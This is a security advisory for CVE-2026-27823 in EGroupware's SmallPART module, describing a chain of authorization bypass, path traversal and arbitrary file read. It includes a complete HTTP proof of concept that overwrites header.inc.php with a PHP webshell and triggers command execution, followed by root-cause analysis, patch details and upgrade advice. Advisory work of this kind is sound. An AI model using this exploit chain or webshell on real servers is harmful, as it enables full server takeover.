criticalCVE-2026-27823Jul 7, 2026

CVE-2026-27823: EGroupware SmallPART Remote Code Execution via Auth Bypass and Path Traversal

Rohit Hatagale
AI Security Researcher, SecureLayer7

A critical chain of three bugs in EGroupware lets an attacker bypass teacher authorization, overwrite the PHP configuration file with malicious code, and achieve remote code execution on the server.

Packageegroupware/egroupware
Ecosystemcomposer
Affected>= 26.0.20251208, < 26.2.20260224
Fixed in26.2.20260224

The problem

EGroupware's SmallPART module exposes an upload endpoint, `SmallPartMediaRecorder::ajax_upload()`, that is supposed to restrict uploads to course teachers. The authorization check reads the role value directly from the attacker-controlled request body instead of from the database, so setting `participant_role` to 3 in the JSON payload grants teacher-level access without any real credentials.

Once the auth check is bypassed, the upload path is built from the user-supplied `video_type` field with no sanitization, enabling path traversal. A separate endpoint, `importexport_export_ui::download`, reads arbitrary files via the `_filename` query parameter, also unsanitized.

Chaining file-read and file-write lets an attacker inject PHP code into `header.inc.php`, the file loaded on every request, achieving full RCE. If self-registration is enabled, no login is required at all.

Proof of concept

A working proof-of-concept for CVE-2026-27823 in egroupware/egroupware, with the exact payload below.

http
# Step 1: bypass auth and write a PHP webshell into header.inc.php via path traversal
# First, read the current header.inc.php to preserve valid PHP structure:
GET /egroupware/index.php?menuaction=importexport.importexport_export_ui.download&_filename=../../../usr/share/egroupware/header.inc.php&_suffix=txt&_type=text/plain&filename=leak HTTP/1.1
Host: target.example.com
Cookie: <session>

# Step 2: upload a modified header.inc.php (with injected PHP) via the auth-bypass upload
# The participant_role:3 in the JSON spoofs the isTeacher() check.
# video_type uses ../ to reach header.inc.php outside the upload directory.
POST /egroupware/json.php?menuaction=smallpart.EGroupware\SmallParT\Widgets\SmallPartMediaRecorder.ajax_upload HTTP/1.1
Host: target.example.com
Cookie: <session>
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="video"

{
  "course_id": {
    "participants": [
      {
        "account_id": "7",
        "name": "Test",
        "joined_at": "2026-01-10",
        "participant_role": 3
      }
    ],
    "account_id": "7",
    "course_id": "1"
  },
  "video_hash": ".",
  "video_type": "../../header.inc.php"
}
------Boundary
Content-Disposition: form-data; name="file"; filename="header.inc.php"
Content-Type: application/octet-stream

<?php /* original header.inc.php content preserved here */ system($_GET['cmd']); ?>
------Boundary--

# Step 3: trigger RCE (after OPcache expiry or server restart)
GET /egroupware/header.inc.php?cmd=id HTTP/1.1
Host: target.example.com

The root cause of the auth bypass (CWE-639) is that `ajax_upload()` reads `course_acl` from the attacker-supplied `participant_role` field inside the request JSON instead of fetching the ACL from the database for the authenticated user. Setting it to `3` (ROLE_TEACHER) trivially satisfies the `isTeacher` check.

The path traversal (CWE-22) occurs because `video_type` is used to construct the upload destination path with no `realpath` check or directory prefix enforcement, allowing `../../header.inc.php` to escape the upload directory.

The file-read primitive (also CWE-22) in `importexport_export_ui::download` passes `_filename` directly to a file-read call without canonicalizing the path, enabling retrieval of any file readable by the web server process. Combining read and write lets an attacker inject PHP code while keeping `header.inc.php` syntactically valid, bypassing the OPcache constraint.

The patch (26.2.20260224) validates the upload path against an allowed directory, fetches the ACL from the database server-side, and strips path separators from `_filename`.

The fix

Upgrade to EGroupware 26.2.20260224 (or 23.1.20260224 for the 23.1 branch). Both are marked SECURITY releases. No configuration workaround exists; the only mitigation short of patching is to disable self-registration and restrict access to the SmallPART and importexport modules.

Reported by Huong Kieu, Cenobe Security.

References: [1][2]

Related research